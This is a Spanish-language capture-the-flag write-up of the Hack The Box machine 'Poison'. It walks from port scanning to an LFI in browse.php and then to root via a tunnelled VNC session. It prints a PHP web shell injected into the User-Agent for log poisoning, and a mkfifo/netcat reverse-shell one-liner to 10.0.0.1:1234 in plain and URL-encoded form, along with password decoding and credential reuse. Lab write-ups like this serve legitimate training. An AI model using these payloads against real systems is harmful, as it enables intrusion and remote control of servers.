OSCP Path ~ Poison de Hack The Box (Necesario VIP)
Poison ~ Hack The Box to OSCP
Realizamos el Primer escaneo con Nmap
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2 (FreeBSD 20161230; protocol 2.0)
| ssh-hostkey:
| 2048 e3:3b:7d:3c:8f:4b:8c:f9:cd:7f:d2:3a:ce:2d:ff:bb (RSA)
| 256 4c:e8:c6:02:bd:fc:83:ff:c9:80:01:54:7d:22:81:72 (ECDSA)
|_ 256 0b:8f:d5:71:85:90:13:85:61:8b:eb:34:13:5f:94:3b (ED25519)
80/tcp open http Apache httpd 2.4.29 ((FreeBSD) PHP/5.6.32)
|_http-server-header: Apache/2.4.29 (FreeBSD) PHP/5.6.32
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
Service Info: OS: FreeBSD; CPE: cpe:/o:freebsd:freebsd
Lanzamos un pequeño fuzzing desde nmap:
# cat WebScan
# Nmap 7.91 scan initiated Tue Jul 27 17:45:46 2021 as: nmap --script http-enum -p80 -oN WebScan 10.10.10.84
Nmap scan report for 10.10.10.84
Host is up (0.041s latency).
PORT STATE SERVICE
80/tcp open http
| http-enum:
| /info.php: Possible information file
|_ /phpinfo.php: Possible information file
Procedemos a lanzar un whatweb:
# cat Whatweb
http://10.10.10.84:80 [200 OK] Apache[2.4.29], Country[RESERVED][ZZ], HTTPServer[FreeBSD][Apache/2.4.29 (FreeBSD) PHP/5.6.32], IP[10.10.10.84], PHP[5.6.32], X-Powered-By[PHP/5.6.32]
Procedemos a hechar un vistazo a la web
Apuntamos a la web y vemos que es una pagina para testear scrips locales,
no introducimos nada y presionamos el enter, nos saca que pide un archivo con atraves de variable file… probamos un LFI
# curl -X GET "http://10.10.10.84/browse.php?file=../../../../../etc/passwd"
root:*:0:0:Charlie &:/root:/bin/csh
toor:*:0:0:Bourne-again Superuser:/root:
daemon:*:1:1:Owner of many system processes:/root:/usr/sbin/nologin
operator:*:2:5:System &:/:/usr/sbin/nologin
bin:*:3:7:Binaries Commands and Source:/:/usr/sbin/nologin
tty:*:4:65533:Tty Sandbox:/:/usr/sbin/nologin
kmem:*:5:65533:KMem Sandbox:/:/usr/sbin/nologin
games:*:7:13:Games pseudo-user:/:/usr/sbin/nologin
news:*:8:8:News Subsystem:/:/usr/sbin/nologin
man:*:9:9:Mister Man Pages:/usr/share/man:/usr/sbin/nologin
sshd:*:22:22:Secure Shell Daemon:/var/empty:/usr/sbin/nologin
smmsp:*:25:25:Sendmail Submission User:/var/spool/clientmqueue:/usr/sbin/nologin
mailnull:*:26:26:Sendmail Default User:/var/spool/mqueue:/usr/sbin/nologin
bind:*:53:53:Bind Sandbox:/:/usr/sbin/nologin
unbound:*:59:59:Unbound DNS Resolver:/var/unbound:/usr/sbin/nologin
proxy:*:62:62:Packet Filter pseudo-user:/nonexistent:/usr/sbin/nologin
_pflogd:*:64:64:pflogd privsep user:/var/empty:/usr/sbin/nologin
_dhcp:*:65:65:dhcp programs:/var/empty:/usr/sbin/nologin
uucp:*:66:66:UUCP pseudo-user:/var/spool/uucppublic:/usr/local/libexec/uucp/uucico
pop:*:68:6:Post Office Owner:/nonexistent:/usr/sbin/nologin
auditdistd:*:78:77:Auditdistd unprivileged user:/var/empty:/usr/sbin/nologin
www:*:80:80:World Wide Web Owner:/nonexistent:/usr/sbin/nologin
_ypldap:*:160:160:YP LDAP unprivileged user:/var/empty:/usr/sbin/nologin
hast:*:845:845:HAST unprivileged user:/var/empty:/usr/sbin/nologin
nobody:*:65534:65534:Unprivileged user:/nonexistent:/usr/sbin/nologin
_tss:*:601:601:TrouSerS user:/var/empty:/usr/sbin/nologin
messagebus:*:556:556:D-BUS Daemon User:/nonexistent:/usr/sbin/nologin
avahi:*:558:558:Avahi Daemon User:/nonexistent:/usr/sbin/nologin
cups:*:193:193:Cups Owner:/nonexistent:/usr/sbin/nologin
"charix:*:1001:1001:charix:/home/charix:/bin/csh"
Enumeramos al user:charix
y verificamos que tenemos un LFI. AHora procedemos a intentar pasasr el LFI a RCE buscando en la ruta /var/log/httpd-acces.log
# curl -X GET "http://10.10.10.84/browse.php?file=/var/log/httpd-acces.log
Procedemos a injecctar codigo PHP en el User Agent ya que tenemos acceso a la ruta /var/log/httpd-access.log
GET /browse.php?file=/var/log/httpd-access.log HTTP/1.1
Host: 10.10.10.84
"User-Agent: <?php system($_GET['cmd']); ?> "
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Verificamos que en la respuesta del lado del servidor se este ejecutando nuestro codigo php
</b>: system(): Cannot execute a blank command in <b>/var/log/httpd-access.log </b>
Procedemos a hacer una peticion web de la siguiente forma:
curl -s -X GET "10.10.10.84/browse.php?file=/var/log/httpd-access.log&cmd=rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
Y vemos que no nos funciona, asique procedemos a urlencodear el comando malicioso. Lo sustituimos en la anterior y procedemos a hacer la peticion.
rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%2010.0.0.1%201234%20%3E%2Ftmp%2Ff
Al ganar acceso al sistema, encontramos un archivo con una cadena en base64 encodeada como 13 veces minimo:
# cat decryp_password_bs64
Vm0wd2QyUXlVWGxWV0d4WFlURndVRlpzWkZOalJsWjBUVlpPV0ZKc2JETlhhMk0xVmpKS1IySkVU
bGhoTVVwVVZtcEdZV015U2tWVQpiR2hvVFZWd1ZWWnRjRWRUTWxKSVZtdGtXQXBpUm5CUFdWZDBS
bVZHV25SalJYUlVUVlUxU1ZadGRGZFZaM0JwVmxad1dWWnRNVFJqCk1EQjRXa1prWVZKR1NsVlVW
M040VGtaa2NtRkdaR2hWV0VKVVdXeGFTMVZHWkZoTlZGSlRDazFFUWpSV01qVlRZVEZLYzJOSVRs
WmkKV0doNlZHeGFZVk5IVWtsVWJXaFdWMFZLVlZkWGVHRlRNbEY0VjI1U2ExSXdXbUZEYkZwelYy
eG9XR0V4Y0hKWFZscExVakZPZEZKcwpaR2dLWVRCWk1GWkhkR0ZaVms1R1RsWmtZVkl5YUZkV01G
WkxWbFprV0dWSFJsUk5WbkJZVmpKMGExWnRSWHBWYmtKRVlYcEdlVmxyClVsTldNREZ4Vm10NFYw
MXVUak5hVm1SSFVqRldjd3BqUjJ0TFZXMDFRMkl4WkhOYVJGSlhUV3hLUjFSc1dtdFpWa2w1WVVa
T1YwMUcKV2t4V2JGcHJWMGRXU0dSSGJFNWlSWEEyVmpKMFlXRXhXblJTV0hCV1ltczFSVmxzVm5k
WFJsbDVDbVJIT1ZkTlJFWjRWbTEwTkZkRwpXbk5qUlhoV1lXdGFVRmw2UmxkamQzQlhZa2RPVEZk
WGRHOVJiVlp6VjI1U2FsSlhVbGRVVmxwelRrWlplVTVWT1ZwV2EydzFXVlZhCmExWXdNVWNLVjJ0
NFYySkdjR2hhUlZWNFZsWkdkR1JGTldoTmJtTjNWbXBLTUdJeFVYaGlSbVJWWVRKb1YxbHJWVEZT
Vm14elZteHcKVG1KR2NEQkRiVlpJVDFaa2FWWllRa3BYVmxadlpERlpkd3BOV0VaVFlrZG9hRlZz
WkZOWFJsWnhVbXM1YW1RelFtaFZiVEZQVkVaawpXR1ZHV210TmJFWTBWakowVjFVeVNraFZiRnBW
VmpOU00xcFhlRmRYUjFaSFdrWldhVkpZUW1GV2EyUXdDazVHU2tkalJGbExWRlZTCmMxSkdjRFpO
Ukd4RVdub3dPVU5uUFQwSwo=
Procedemos a montarnos un script para decodearlo a traves de un bucle:
#!/usr/bin/python3
from base64 import b64decode
pass_en = "cadena de arriba...azVHU2tkalJGbExWRlZTCmMxSkdjRFpOUkd4RVdub3dPVU5uUFQwSwo="
for i in range(13):
pass_en = b64decode(pass_en)
print(pass_en)
Ejecutamos el script para ver el output:
# python3 decrypt.py
b'Charix!2#4%6&8(0'
Creamos un archivo de credenciales:
user charix
pass Charix!2#4%6&8(0
Ganando acceso por SSH
Con las credenciales obtenidas procedemos a intentar conectar por el servicio SSH
# ssh charix@10.10.10.84
Accedemos correctamente al servicio SSH Enumeramos el directorio home de charix y nos pasamos el archivo secret.zip a nuestra maquina
charix@Poison:~ % ls
secret.zip user.txt
Sacamos la flag de user.txt
charix@Poison:~ % cat user.txt
eaacdfb2d141b72a58923xxxxxxxxxxxx
Escalada de privilegios
Procedemos a enumerar el sistema como siempre
charix@Poison:~ % ps -aux
root 529 0.0 0.9 23620 8868 v0- I 08:38 0:00.02 Xvnc :1 -desktop X -httpd /usr/local/share/tightvnc/classes -auth /root/.Xauthority -geometry 1280x800 -depth 24 -rfbwait 120000 -rfbauth /root/.vnc/p
Encontramos un servicio RDP de root
Probamos a autenticarnos con un archivo al servicio RDP usando para ello vcnviewer
Unzipeamos el secret.zip ~ nos pide passwd ~ metemos la misma paswd de charix. Obtenemos un archivo secret que pinta no ser legible
Procedemos a tunelizar el puerto 5901 que es el servicio RDP atraves de ssh
ssh -L 5901:127.0.0.1:5901 charix@10.10.10.84
Procdemos a conectarnos al servicio RDP usando vncviewer usando un archivo como contraseña
"# vncviewer 127.0.0.1:5901 -passwd secret "
Connected to RFB server, using protocol version 3.8
Enabling TightVNC protocol extensions
Performing standard VNC authentication
Authentication successful
Desktop name "root's X desktop (Poison:1)"
VNC server default format:
32 bits per pixel.
Least significant byte first in each pixel.
True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0
Using default colormap which is TrueColor. Pixel format:
32 bits per pixel.
Least significant byte first in each pixel.
True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0
Same machine: preferring raw encoding
Cnectamos correctamente y sacamos la flag de root.txt
Maquina Rooteada =)